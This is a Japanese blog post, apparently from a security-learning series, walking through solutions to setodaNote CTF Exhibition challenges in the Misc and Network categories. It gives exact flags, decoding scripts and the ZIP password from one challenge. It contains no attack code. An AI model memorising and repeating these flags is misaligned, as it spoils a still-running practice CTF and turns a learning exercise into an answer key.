前回 は、実行ファイルのセキュリティ機構(脆弱性緩和技術とも言う)を調べるツールである「checksec」の理解を深めました。
今回から、setodaNote CTF Exhibition に挑戦します。前に、CpawCTF2 を始めたのですが、あまりメンテナンスされていないようで、サーバに接続できないなどがあったので、setodaNote CTF Exhibition も並行して進めようと思います。
setodaNote CTF Exhibition とは、2021年に、リアルタイムで開催された setodaNote CTF を同じ問題を常設で参加を可能にしてくれたものです。
※2024/10/20時点:6280ポイントで、25位 / 733名 です
それでは、やっていきます。
- はじめに
- setodaNote CTF Exhibitionに登録する
- 問題一覧
- Misc
- Network
- Web
- OSINT
- Crypto
- Rev
- Forensics
- Programming
- Pwn
- おわりに
はじめに
「セキュリティ」の記事一覧です。良かったら参考にしてください。
・第2回:Ghidraで始めるリバースエンジニアリング(使い方編)
・第3回:VirtualBoxにParrotOS(OVA)をインストールする
・第4回:tcpdumpを理解して出力を正しく見れるようにする
・第5回:nginx(エンジンエックス)を理解する
・第6回:Python+Flask(WSGI+Werkzeug+Jinja2)を動かしてみる
・第7回:Python+FlaskのファイルをCython化してみる
・第8回:shadowファイルを理解してパスワードを解読してみる
・第9回:安全なWebアプリケーションの作り方(徳丸本)の環境構築
・第10回:Vue.jsの2.xと3.xをVue CLIを使って動かしてみる(ビルドも行う)
・第11回:Vue.jsのソースコードを確認する(ビルド後のソースも見てみる)
・第12回:徳丸本:OWASP ZAPの自動脆弱性スキャンをやってみる
・第13回:徳丸本:セッション管理を理解してセッションID漏洩で成りすましを試す
・第14回:OWASP ZAPの自動スキャン結果の分析と対策:パストラバーサル
・第15回:OWASP ZAPの自動スキャン結果の分析と対策:クロスサイトスクリプティング(XSS)
・第16回:OWASP ZAPの自動スキャン結果の分析と対策:SQLインジェクション
・第17回:OWASP ZAPの自動スキャン結果の分析と対策:オープンリダイレクト
・第18回:OWASP ZAPの自動スキャン結果の分析と対策:リスク中すべて
・第19回:CTF初心者向けのCpawCTFをやってみた
・第20回:hashcatの使い方とGPUで実行したときの時間を見積もってみる
・第21回:Scapyの環境構築とネットワークプログラミング
・第22回:CpawCTF2にチャレンジします(クリア状況は随時更新します)
・第23回:K&Rのmalloc関数とfree関数を理解する
・第24回:C言語、アセンブラでシェルを起動するプログラムを作る(ARM64)
・第25回:機械語でシェルを起動するプログラムを作る(ARM64)
・第26回:入門セキュリhttps://github.com/SECCON/SECCON2017_online_CTF.gitティコンテスト(CTFを解きながら学ぶ実践技術)を読んだ
・第27回:x86-64 ELF(Linux)のアセンブラをGDBでデバッグしながら理解する(GDBコマンド、関連ツールもまとめておく)
・第28回:入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)のPwnable問題をやってみる
・第29回:実行ファイルのセキュリティ機構を調べるツール「checksec」のまとめ
・第30回:setodaNote CTF Exhibitionにチャレンジします(クリア状況は随時更新します) ← 今回
setodaNote CTF Exhibition の公式サイトは以下です。
それでは、やっていきます。
setodaNote CTF Exhibitionに登録する
上の URL にアクセスして、右上の Register をクリックします。

ユーザ名、メールアドレス、パスワードを決めて、Submit をクリックします。

すると、早速、「Challenges」のページに遷移しました。
問題一覧
結構、たくさんの問題がありました。問題数は 69問で、全てのポイントを獲得すると 8600ポイントになると思います。スコアボードを見ると、689名中、5名が 8600ポイントでした。
この CTF は、Writeup の記事がたくさん公開されているので、特にネタバレを気にしなくても良さそうです。
| No. | カテゴリ | 問題名 | ポイント | 状況 |
|---|---|---|---|---|
| 1 | Misc | Welcome | 20 | Complete |
| 2 | Misc | morse_one | 30 | Complete |
| 3 | Misc | Hash | 50 | Complete |
| 4 | Misc | F | 80 | Complete |
| 5 | Misc | magic_number | 80 | Complete |
| 6 | Misc | Stegano | 100 | Complete |
| 7 | Misc | morse_zero | 100 | Complete |
| 8 | Misc | ransom_note | 100 | Complete |
| 9 | Misc | Nothing | 120 | Complete |
| 10 | Misc | i_knew_it | 120 | Complete |
| 11 | Misc | Redacted | 150 | Complete |
| 12 | Misc | strong_password | 250 | Complete |
| 13 | Network | Host | 30 | Complete |
| 14 | Network | tkys_never_die | 50 | Complete |
| 15 | Network | echo_request | 120 | Complete |
| 16 | Network | stay_in_touch | 150 | Complete |
| 17 | Network | yes_you_can | 150 | Complete |
| 18 | Network | Digdig | 200 | Complete |
| 19 | Network | Logger | 250 | 0% |
| 20 | Network | tkys_not_enough | 250 | Complete |
| 21 | Web | Body | 30 | Complete |
| 22 | Web | Header | 50 | Complete |
| 23 | Web | puni_puni | 80 | Complete |
| 24 | Web | Mistake | 100 | Complete |
| 25 | Web | tkys_royale | 120 | Complete |
| 26 | Web | Estimated | 120 | Complete |
| 27 | Web | Mx.Flag | 150 | Complete |
| 28 | Web | Redirect | 150 | Complete |
| 29 | OSINT | tkys_with_love | 30 | Complete |
| 30 | OSINT | Dorks | 50 | Complete |
| 31 | OSINT | filters_op | 50 | Complete |
| 32 | OSINT | MAC | 50 | Complete |
| 33 | OSINT | tkys_eys_only | 50 | Complete |
| 34 | OSINT | MITRE | 100 | Complete |
| 35 | OSINT | Ropeway | 120 | Complete |
| 36 | OSINT | N-th_prime | 200 | Complete |
| 37 | OSINT | identify_the_source | 250 | 0% |
| 38 | OSINT | secret_operation | 300 | 0% |
| 39 | Crypto | base64 | 50 | Complete |
| 40 | Crypto | ROT13 | 50 | Complete |
| 41 | Crypto | pui_pui | 80 | Complete |
| 42 | Crypto | tkys_secret_service | 120 | 0% |
| 43 | Crypto | lets_bake | 150 | 0% |
| 44 | Crypto | vul_rsa_01 | 200 | 0% |
| 45 | Crypto | vul_rsa_02 | 250 | 0% |
| 46 | Crypto | WEARECIA | 300 | 0% |
| 47 | Rev | Helloworld | 50 | Complete |
| 48 | Rev | ELF | 80 | Complete |
| 49 | Rev | Passcode | 120 | Complete |
| 50 | Rev | Passcode2 | 150 | Complete |
| 51 | Rev | to_analyze | 200 | Complete |
| 52 | Forensics | paint_flag | 50 | Complete |
| 53 | Forensics | 50 | Complete | |
| 54 | Forensics | Deletedfile | 80 | Complete |
| 55 | Forensics | Timeline | 100 | Complete |
| 56 | Forensics | browser_db | 100 | Complete |
| 57 | Forensics | MFT | 100 | Complete |
| 58 | Forensics | tkys_another_day | 100 | Complete |
| 59 | Forensics | MESSAGE | 120 | Complete |
| 60 | Forensics | CSIRT_asks_you_01 | 150 | 0% |
| 61 | Forensics | unallocated_space | 150 | 0% |
| 62 | Forensics | CSIRT_asks_you_02 | 200 | 0% |
| 63 | Programming | ZZZIPPP | 80 | Complete |
| 64 | Programming | echo_me | 120 | Complete |
| 65 | Programming | EZZZIPPP | 150 | Complete |
| 66 | Programming | deep_thought | 250 | Complete |
| 67 | Pwn | tkys_let_die | 100 | Complete |
| 68 | Pwn | 1989 | 200 | Complete |
| 69 | Pwn | Shellcode | 300 | Complete |
Misc
最初のカテゴリは、Misc(ミスク)です。最初の問題名が Welcome ということで、この問題からやった方がよさそうです。
Welcome
Challenges のページから、Welcome をクリックします。
チュートリアルの問題でした。flag{Enjoy_y0ur_time_here!} を入力して、Submit をクリックするとクリアになります。

20ポイント獲得して、690名中、690位になりました!
morse_one
次は、モールス符号の問題です。

添付ファイルは、以下の文字列が書かれていました。
DDDBSDDSBDDDSDBDSBBBSDBBDSDBDDSDSBDDB
じぃーっと見続けてると、最大4文字ごとに、S がある感じに見えてきました(笑)。S はスペースかな、D はドットかな、B は棒かな(笑)。とりあえず、変換表を頼りに英大文字を並べてみました。
flag{VIBROPLEX}
正解かは微妙な文字列が出ました。でも、合ってました。
30ポイント獲得して、計50ポイントで、690名中、625位になりました!
Hash
次は、ハッシュの問題です。
問題をよく読みます。組み合わせと言ってるので、ハッシュ値は 3つかなと思います。真面目にハッシュ値を計算させる問題でしょうか。そろそろ Python が必要になってきたので、ParrotOS を起動します(笑)。

64文字のようです。ChatGPT に、64文字のアルゴリズムを聞いてみます。SHA-256 と SHA3-256 らしいです。
>>> len("aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7") 64
Python より sha256sum の方が簡単そうです。ヒットしました。あとは、つなぎ合わせるだけです。
$ sha256sum ./* | grep aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7 aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7 ./pass024.txt $ sha256sum ./* | grep 8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb 8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb ./pass034.txt $ sha256sum ./* | grep e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962 e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962 ./pass079.txt $ cat pass024.txt pass034.txt pass079.txt flag{hardest _logic_ puzzle}
以下でクリアできました。
flag{hardest_logic_puzzle}
50ポイント獲得して、計100ポイントで、690名中、536位になりました!
F
次は、なんの問題でしょうか、法則を見つける系でしょうか。

またもや、じぃーっと眺めます。
- 使われている文字は、
+と-、[と]、<と>、.の 計7種類 [と]は、対になっているみたい- 最後が
.で終わってる
記号だけのプログラミング言語で検索すると、結構出てきますね。
Brainfuck というのが近そう。オンラインで計算してくれるサイトがありました。
ここにデータを貼り付けて、RUN すると、勝手に計算してくれます。

flag{Don't_Use_the_F-Word!!} でした。
80ポイント獲得して、計180ポイントで、690名中、485位になりました!
magic_number
とりあえず、100点までの問題はやろうかな、と進めてます。

ダウンロードしたファイルを解凍して、とりあえず、バイナリエディタに突っ込んでみます。解けた(笑)。
flag{post_rar_light} でした。
80ポイント獲得して、計260ポイントで、690名中、436位になりました!
Stegano(追記:2024/10/13)
ダウンロードしたファイルを解凍すると、約4MB の PNGファイル(stegano.png)が得られます。

開いてみると、確かに、うっすらと文字が見えます。「1s_...」読めません。
exiftool にかけてみましたが、特にそれらしい内容はありませんでした。stringsコマンドも実行してみましたが、flag はヒットしませんでした。
次は、binwalk というツールを使って、何か他のファイルが埋め込まれていないかを見てみます。binwalk は、ParrotOS にデフォルトで入っていました。
何か入っているように見えましたが、これは圧縮された PNG画像では普通の出力でした。実行後、カレントディレクトリに _stegano.png.extracted というディレクトリが出来ていました。
$ binwalk -e stegano.png DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 2048 x 1536, 8-bit/color RGBA, non-interlaced 3118 0xC2E Zlib compressed data, default compression $ ll _stegano.png.extracted/ total 3.9M drwxr-xr-x 1 user user 22 Oct 13 23:14 ./ drwxr-xr-x 1 user user 424 Oct 13 23:14 ../ -rw-r--r-- 1 user user 0 Oct 13 23:14 C2E -rw-r--r-- 1 user user 3.9M Oct 13 23:14 C2E.zlib
では、画像編集で、いろいろ見方を変えてみます。
コントラストを下げます。「1s_cReA73d_by」が見えました。しかし、flag{1s_cReA73d_by} を提出しても正解ではありませんでした。彩度を上げると、左上に「flag{Re4l17y_」が見えました。後は、末尾の文字列がどこかにありそうです。
うーん、ギブアップです。writeup を見させて頂きます。「うさみみハリケーン」の「ステガノグラフィー解析」を使うと、残りの文字列が見つかるそうです。
うさみみハリケーンの導入と使い方
この機会に、Windows で使用する「うさみみハリケーン」を導入します。ダウンロード先は以下になります。
だいぶ奥の深いツールのようなので、今回は、ステガノグラフィー解析だけ使います。
公式サイトは、以下だと思います。
公式サイトのうち、ステガノグラフィー解析について詳しく書かれているページは以下になります。「picoCTF をうさみみハリケーンで解いてみた」は興味深いので、後でゆっくり見させてもらいます。
今回、ダウンロードしたバージョンは、v0.42 です。ダウンロードしたファイルは、UsaMimi_v042.zip です。フォルダに入れずに圧縮されているので、解凍する前に新規フォルダを作って、そこに格納してから解凍してください。
まず、何を起動していいかが分かりません。とにかく、UsaMimi64.exe を起動すればよいです。使い方によっては、管理者権限が必要になるそうですが、今回は単なる画像ファイルが対象なので、一般ユーザの権限で起動します。
起動すると、現在の Windows のプロセス一覧が表示されます。メインは、「プロセスメモリエディタ兼デバッガ」ということですが、いろいろ付属ツールがあります。今回は、プロセス選択画面をキャンセルします。
すると、UsaMimi のメインウィンドウが表示されるので、メニューのその他をクリックします。ここから付属ツールが起動できるようです。今回は、ステガノグラフィー解析の機能を含んでいる汎用ファイルアナライザを起動します。
「青い空を見上げればいつもそこに白い猫」というタイトルバーのツールが起動します。まず、「参照」ボタンを押して対象のファイルを指定します。ファイル情報解析結果というリストに、今回の対象は PNGファイルと出ています。メニューの「ステガノグラフィー解析」をクリックします。
まず最初は、拡大縮小のチェックを入れます。デフォルトでは画像ファイルの全体が表示されていない可能性があります。その次は、「前候補」、「次候補」をポチポチ押してみるといいと思います。これらの右に位置しているリストを変更することが出来るボタンです。
これらの候補は、例えば、RGB の 1byte×3 の 24bit を 1bitずつ抽出して、0 or 1 を白黒で表現しています。ポチポチ押してると、フラグの末尾の文字列が見つかりました。今回見つかったのは、青色のビット 4 でした。その 1bit にフラグが隠されていたというわけです。普通の画像ソフトで見つけることは不可能ですね。素晴らしいツールです。
flag{Re4l17y_1s_cReA73d_by_7h3_m1nd_rA9} でした。
100ポイント獲得して、計3610ポイントで、710名中、59位になりました!
morse_zero(追記:2024/10/14)
ダウンロードしたファイルを解凍すると、テキストファイル(morse_zero.txt)が得られます。ファイル名の通り、モールス信号でしょうか。

エディタで開いてみると、1行70桁しかありませんが、なぜか 180byte あります。バイナリエディタで開いてみます。ASCIIコードではないようです。単純にモールス信号にしては区切りも分かりませんし、バイナリエディタで見た方がいい気がします。
なんとなく、3byteずつの塊になってそうですね、UTF-8 でしょうか?なるほど、Z は区切り文字っぽいです。あとは、E2 80 8C か、E2 80 8B なので、これがモールス信号になってそうです。E2 80 8B が単点(・)、E2 80 8C が長点(-)とすると、ZER0... と目で見て書こうとしました。しかし、モールス信号は結構出題頻度高いし、Pythonスクリプトを書きます。
以下を実装しました。可変長のデータはコードが複雑になりますね。
def fread_bin( fpath ): with open(fpath, 'rb') as ff: data = ff.read( 8192 ) return data def morse_code( lst, dot='x', dash='y', sep=' ' ): # 短点(・)は dot、長点(-)は dash、quarter-chord point dic = { 'dq': 'A', 'qddd': 'B', 'qdqd': 'C', 'qdd': 'D', 'd': 'E', 'ddqd': 'F', 'qqd': 'G', 'dddd': 'H', 'dd': 'I', 'dqqq': 'J', 'qdq': 'K', 'dqdd': 'L', 'qq': 'M', 'qd': 'N', 'qqq': 'O', 'dqqd': 'P', 'qqdq': 'Q', 'dqd': 'R', 'ddd': 'S', 'q': 'T', 'ddq': 'U', 'dddq': 'V', 'dqq': 'W', 'qddq': 'X', 'qdqq': 'Y', 'qqdd': 'Z', 'dqqqq': '1', 'ddqqq': '2', 'dddqq': '3', 'ddddq': '4', 'ddddd': '5', 'qdddd': '6', 'qqddd': '7', 'qqqdd': '8', 'qqqqd': '9', 'qqqqq': '0', 'dqdqdq': '.', 'qqddqq': ',', 'qqqddd': ':', 'ddqqdd': '?', 'ddqqdq': '_', 'dqdqd': '+', 'qddddq': '-', 'qddq': 'x', 'dddddd': '^', 'qddqd': '/', 'dqqdqd': '@', 'qdqqd': '(', 'qdqqdq': ')', 'dqddqd': '"', 'dqqqqd': '\'', } idx = 0 ret = [] while idx < len(lst): dd = lst[idx] assert dd == sep or dd == dot or dd == dash, f"dd={dd:X}, lst={lst}" if dd == sep: continue ll = [] while idx < len(lst): if lst[idx] == sep: break elif lst[idx] == dot: ll.append( 'd' ) else: # dash ll.append( 'q' ) idx += 1 idx += 1 if len(ll) == 0: # 2連続区切り文字 print( f"error: double separator, idx={idx}" ) return -1 ret.append( ''.join(ll) ) ss = "" for rr in ret: if rr not in dic: print( f"not match: rr={rr}, ss={ss}" ) return -1 ss += dic[rr] return ss def morse_code_bin( fpath, fmt='utf-8' ): data = fread_bin( fpath ) idx = 0 lst = [] while True: dd = data[idx] assert 0 <= dd <= 0xFF, f"fatal: dd={dd:X}" # 1byteずつ処理 if dd < 0x80: # ASCII lst.append( data[idx] ) else: if fmt == 'utf-8': if (dd & 0xE0) == 0xC0: # 2byte lst.append( (data[idx] << 8) | data[idx+1] ) idx += 1 elif (dd & 0xF0) == 0xE0: # 3byte lst.append( (data[idx] << 16) | (data[idx+1] << 8) | data[idx+2] ) idx += 2 elif (dd & 0xF8) == 0xF0: # 4byte lst.append( (data[idx] << 24) | (data[idx+1] << 16) | (data[idx+2] << 8) | data[idx+3] ) idx += 3 idx += 1 if idx >= len(data): break print( f"lst={[hex(ii) for ii in lst]}" ) ret = morse_code( lst, dot=0xE2808B, dash=0xE2808C, sep=0x5A ) if ret == -1: raise print( f"ret={ret}" ) morse_code_bin( "../setodaNoteCTF/Misc/morse_zero.txt" )
実行します。
$ python tmp.py lst=['0xe2808c', '0xe2808c', '0xe2808b', '0xe2808b', '0x5a', '0xe2808b', '0x5a', '0xe2808b', '0xe2808c', '0xe2808b', '0x5a', '0xe2808c', '0xe2808c', '0xe2808c', '0xe2808c', '0xe2808c', '0x5a', '0xe2808b', '0xe2808b', '0xe2808c', '0xe2808c', '0xe2808b', '0xe2808c', '0x5a', '0xe2808b', '0xe2808c', '0xe2808c', '0x5a', '0xe2808b', '0xe2808c', '0xe2808c', '0xe2808c', '0xe2808c', '0x5a', '0xe2808c', '0xe2808b', '0xe2808b', '0x5a', '0xe2808c', '0x5a', '0xe2808b', '0xe2808b', '0xe2808b', '0xe2808b', '0x5a', '0xe2808b', '0xe2808b', '0xe2808c', '0xe2808c', '0xe2808b', '0xe2808c', '0x5a', '0xe2808b', '0xe2808b', '0xe2808b', '0x5a', '0xe2808b', '0xe2808c', '0xe2808c', '0xe2808b', '0x5a', '0xe2808b', '0xe2808c', '0x5a', '0xe2808c', '0xe2808b', '0xe2808c', '0xe2808b', '0x5a', '0xe2808b'] ret=ZER0_W1DTH_SPACE
flag{ZER0_W1DTH_SPACE} でした。
100ポイント獲得して、計3710ポイントで、710名中、56位になりました!
ransom_note(追記:2024/10/14)
ダウンロードしたファイルを解凍すると、3つのファイル(Image from iOS.jpg、NPIEWI-DECRYPT.txt、secret.txt.npiewi)が得られます。
ランサムウェアの暗号化の問題みたいです。GANDCRAB V5.0.3 という方式で暗号化されているようです。Web で検索すると、GANDCRAB は、v5.0.4 以降は復号できませんが、v5.0.3 は復号できると書かれています。ツールがダウンロード出来たので、secret.txt.npiewi を対象として、実行してみます。復号できました。
ツールは以下からダウンロードできます。
ツール名は、「BDGandCrabDecryptTool.exe」でした。
flag{unlock1ng_y0ur_d1gital_life_with0ut_paying;)} でした。
100ポイント獲得して、計3810ポイントで、710名中、54位になりました!
Nothing(追記:2024/10/14)
ダウンロードしたファイルを解凍すると、テキストファイル(nothing.txt)を得られます。

半角スペース(0x20)と、タブ(0x09)と、改行(0x0a)だけのファイルのようです。また、モール信号でしょうか。改行が区切り文字だとすると、1つが長すぎるので違うようですね。
うーん、2進数?点字とか?分かりません。とりあえず、16byte周期になってると思います。さらに、16byteのうち、先頭 4byteは全て空白で、末尾の 5byteは常に同じパターンです。何かの通信パターンとかでしょうか。ギブアップです。
writeup を見ると、whitespace言語というのがあるらしいです。Web で自動で実行してくれるインタプリタに貼り付けるとフラグが表示されました。
flag{And_Then_There_Were_None} でした。
120ポイント獲得して、計3930ポイントで、710名中、51位になりました!
i_knew_it(追記:2024/10/24)
ダウンロードしたファイルを解凍すると、PNGファイル(i_knew_it.png)を得られます。

うさみみハリケーンで調べてみます。普通の PNGファイルのようです。開いてみると、IDA Pro っぽい画面のキャプチャでした。
左側の第1引数と第2引数は、RDI、RSI(→R8) がポインタ、第3引数も RDX(→RSI)でポインタのようです。
左側の loc_1160 は、スタック?に、0 から始まって 255 までの連番を 256byte分を RDI(ポインタ)に格納している感じでしょうか。
左側の loc_117A は、256回ループしてる(ループ変数は RCX)ようで、上の loc_1160 で作った 256byte の連番を順番に取り出して、R9d に入れます。RCX を RAX に代入して、cdq は EAX を符号拡張して EDX:EAX に格納で、idiv は RDX:RAX を RSI(第3引数のポインタ)の指している値で割って、商を RAX、余りを RDX に格納します。movsxd は符号拡張で、第2引数のポインタ+RDX(余り)を EAX に代入します。
しんどくなったので、画像ファイルを文字起こしして、コメントに書いていきます。
sub_1155 proc near ; sub_1155関数 (第1引数はポインタ) mov r8, rsi ; r8 ← 第2引数 mov rsi, rdx ; rsi ← 第3引数 mov eax, 0 ; loc_1160: mov [rdi+rax], al ; [第1引数+rax] ← 0から255の連番 add rax, 1 cmp rax, 100h jnz short loc_1160 mov ecx, 0 mov r10d, 0 loc_117A: movzx r9d, byte ptr [rdi+rcx] ; r9d ← 0から255の連番 mov eax, ecx ; cdq ; eaxを符号拡張して edx:eax に格納 idiv dword ptr [rsi] ; edx:eax / [rsi] の商をeax、余りをedxに格納 movsxd rdx, edx ; edx(余り)を符号拡張 movzx eax, byte ptr [r8+rdx] ; eax←[r8+rdx] ゼロ拡張代入 r8は第2引数 movzx edx, r9b ; edx←連番 add edx, r10d ; edx += r10d add eax, edx ; eax += edx cdq ; eaxを符号拡張して edx:eax に格納 shr edx, 18h ; edxを24bit右シフト add eax, edx ; eax += edx movzx eax, al ; sub eax, edx ; mov r10d, eax ; cdqe movzx edx, byte ptr [rdi+rax] ; mov [rdi+rcx], dl ; mov [rdi+rax], r9b ; add rcx, 1 ; cmp rcx, 100h ; 0から255まで jnz short loc_117A retn sub_1155 endp locret_1247: retn ; sub_11BE endp sub_11BE proc near ; sub_11BE関数 cmp dword ptr [rdx], 0 ; 第3引数(ポインタ)が指す値が0なら終了 jle locret_1247 push r14 push rbx mov r8, rdx ; r8←第3引数(ポインタ) mov r9, rcx ; r9←第4引数? mov ecx, 0 mov r11d, 0 mov r10d, 0 loc_11E1: lea edx, [r10+1] mov eax, edx sar eax, 1Fh ; eax ← eax >> 31 (符号拡張) shr eax, 18h ; eax ← eax >> 24 (符号拡張無し) add edx, eax movzx edx, dl sub edx, eax mov r10d, edx movsxd rdx, edx movzx ebx, byte ptr [rdi+rdx] movzx eax, bl add eax, r11d mov r11d, eax sar r11d, 1Fh shr r11d, 18h add eax, r11d movzx eax, al sub eax, r11d mov r11d, eax cdqe movzx r14d, byte ptr [rdi+rax] mov [rdi+rdx], r14b mov [rdi+rax], bl add bl, [rdi+rdx] movzx ebx, bl movzx eax, byte ptr [rdi+rbx] xor al, [rsi+rcx] mov [r9+rcx], al add rcx, 1 cmp [r8], ecx jg short loc_11E1 pop rbx pop r14 retn
なんとなく、256bit で、ぐるぐる回しながら XOR とか、足しこんだりしてるので、ハッシュ系かなと思いました。まず、SHA256 入れましたが、ダメでした。MD5 とか、いくつか入れましたがダメだったのでギブアップです。答えは RC4 ということでした。もし粘っても知らないアルゴリズムでした。writeupを見ましたが、簡単なはず、ということで、いくつか入れたら当たった的な方がいました。そういう解き方も必要ですね。
flag{RC4} でした。
120ポイント獲得して、計5460ポイントで、730名中、34位になりました!
Redacted(追記:2024/10/24)
ダウンロードしたファイルを解凍すると、PNGファイル(top_secret.pdf)を得られます。

うさみみハリケーンで確認します。本当に PDF のようです。
黒塗りのところを何とかすればいいようです。縮小、拡大すると、黒塗りが一瞬遅れて動くんですよね、、、外せるんじゃないでしょうか。
一応、一通り、うさみみハリケーンで確認したり、バイナリエディタで確認しましたが、よく分かりません。ただ、最後の方に、Microsoft とか、PowerPoint とか書いてありました。Office は無いので、LibreOffice で開いてみます。黒塗りを選択すると、選択できてしまいました。あとは切り取っていくと黒塗りが外せました。
「ロズウェル事件の真実 残念ながら、すべての文書証拠は破棄されましたが、真実は次のとおりです。目撃された物体は旗{気象気球}であり、他の可能性はすべて排除されました。 私たちはそれと通信できませんでした。それは私たちから非常に遠く離れていたため、通信できませんでした。 FBIより」みたいなことが書かれてました。
flag{weather_balloon}
150ポイント獲得して、計5610ポイントで、730名中、32位になりました!
strong_password(追記:2024/10/25)
ダウンロードしたファイルを解凍すると、パスワード付きZIPファイル(TopSecret.zip)と、情報セキュリティガイドラインの PDF が得られます。

情報セキュリティガイドラインによると、パスワードは 13文字とのことです。
- 案件コード:英文字 3文字(52×52×52)
- 記号:6種類(
@#$%-)のうちから 1文字(6) - 年月日:数字 8桁(ZIPファイルの中身を見ると、20210713 か 20210714 のようです)
- 記号:6種類(
@#$%-)のうちから 1文字(6)
なるほど、52*52*52*6*6 通りということですね。5,061,888 通りのようです。年月日の 2択が外れたら、2倍でしょうか
$ zipinfo TopSecret.zip Archive: TopSecret.zip Zip file size: 245 bytes, number of entries: 1 -rw-a-- 6.3 fat 73 Bx stor 21-Jul-14 18:22 TopSecret.txt 1 file, 73 bytes uncompressed, 73 bytes compressed: 0.0% $ 7z l -slt TopSecret.zip 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=ja_JP.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i5-10210U CPU @ 1.60GHz (806EC),ASM,AES-NI) Scanning the drive for archives: 1 file, 245 bytes (1 KiB) Listing archive: TopSecret.zip -- Path = TopSecret.zip Type = zip Physical Size = 245 ---------- Path = TopSecret.txt Folder = - Size = 73 Packed Size = 85 Modified = 2021-07-14 18:21:58 Created = 2021-07-13 13:50:16 Accessed = 2021-07-14 18:21:59 Attributes = A Encrypted = + Comment = CRC = 8578F5F9 Method = ZipCrypto Store Host OS = FAT Version = 20 Volume Index = 0
以下の記事で、パスワード付きZIPファイルのクラックについて書きました。
daisuke20240310.hatenablog.com
flag{And_n0w_h3re_is_my_s3cre7} でした。
250ポイント獲得して、計5860ポイントで、733名中、29位になりました!
Misc はこれで完了です!
Network
次のカテゴリは、Network です。
Host
ダウンロードして解凍すると pcapファイルが得られます。

Wireshark で開きます。うーん、簡単すぎるけど、合ってるのかな。
flag{ctf.setodanote.net}
合ってました(笑)。
30ポイント獲得して、計290ポイントで、690名中、418位になりました!
tkys_never_die
こちらも、ダウンロードして解凍すると pcapファイルが得られます。

とりあえず、ファイル抽出します。Wireshark の File → Export Objects → HTTP... で、Save All すると、2つのファイルが保存されます。解けました。
flag{a_treasure_trove} でした。
50ポイント獲得して、計340ポイントで、690名中、405位になりました!
次は、120ポイントの問題なので、Network はここまでにします。
echo_request(追記:2024/9/16)
続きをやっていきます。

ダウンロードして解凍すると、pcapファイルが得られます。
Wireshark で pcapファイルを眺めてみると、途中に、echo request(ICMP:ping)が、たくさん送信されています。ping には、適当なデータを格納する領域が用意されています。そのデータを調べてみます。
バイナリの 66(f)、6c(l)、61(a)、67(g)を見つけたら、ほぼクリアだと思ってます。今回は、大きいデータにはいなくて、1byteずつの中に隠れていました。
2230040000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637 76d50a0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637 29140b0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637 03720b0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637 2e 2e 2e 2e 2e 66 6c 61 67 7b 49 43 4d 50 5f 54 75 6e 6e 65 6c 69 6e 67 5f 54 31 30 39 35 7d 2e 2e 2e 2e 2e 2cbe0c0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637 92270d0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637 80850d0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637
必要なとこだけ asciiコードに変換します。
$ echo "666c61677b49434d505f54756e6e656c696e675f54313039357d" | xxd -r -p flag{ICMP_Tunneling_T1095}
flag{ICMP_Tunneling_T1095} でした。
120ポイント獲得して、計1520ポイントで、690名中、164位になりました!
stay_in_touch(追記:2024/9/18)
ダウンロードしたファイルを解凍すると、pcapngファイルが得られます。

やり方はいろいろあると思いますが、データ量が多いときは、Statistics の Conversations を見ます。すると、17個の会話があることが分かります。これを 1つずつ右クリックして、Apply as Filter → Selected → Filter on stream id とすると、この会話の部分だけが表示されます。あとは、右クリックして、Follow TCP Stream で、メールの内容を見ていきます。
いくつか見たら、添付ファイルがあって、別のメールでパスワードが送られていました。添付ファイルは Base64 だったので、テキストをコピーして、以下を実行します。
echo "UEsDBBQAAQAAADBq8FK0Nz5zSgAAAD4AAAATAAAAUmVwb3J0LUFWLVQwMDk3LnR4dAzRMzm6 s5vAM3huF0n2GEKFrarxVD3WvzurjKz9sjA7iD6nWis0GBRcIdcyrQkqliocBi2lCUB6J0hR UgHzDVCnVx6LnLS5LenqUEsBAj8AFAABAAAAMGrwUrQ3PnNKAAAAPgAAABMAJAAAAAAAAAAg AAAAAAAAAFJlcG9ydC1BVi1UMDA5Ny50eHQKACAAAAAAAAEAGADNWpx++XnXARJtllL6edcB 0TOVfvl51wFQSwUGAAAAAAEAAQBlAAAAewAAAAAA" | base64 --decode > Report-AV-T0097.zip
パスワード(Yatagarasu-Takama-Kamuyamato2)が書かれた別のメールを探して、ZIP を解凍するとフラグが書かれたテキストファイルが得られます。
もっといい方法があるかもしれません。あと、会話のいくつかは TLS で暗号化されてましたが、読めませんでした。
flag{SoNtOkIhAmOuKaTaHoUmOtSuMuRuNoSa;)} でした。
150ポイント獲得して、計2860ポイントで、690名中、84位になりました!
yes_you_can(追記:2024/9/18)
ダウンロードしたファイルを解凍すると、「dump.log」というファイルが得られます。

中身は、CAN通信の内容のようです。
非力な PC のせいか、サクラエディタで開けないです。仕方ないので、ターミナルでなんとかします。
全部の行が CAN通信のようです。
$ cat dump.log | wc -l 94667 $ cat dump.log | grep vcan0 | wc -l 94667
あ、Wireshark で開けるかも → 開けました。しかし、あまり使い勝手がいい感じでもありません。Python 書きます。
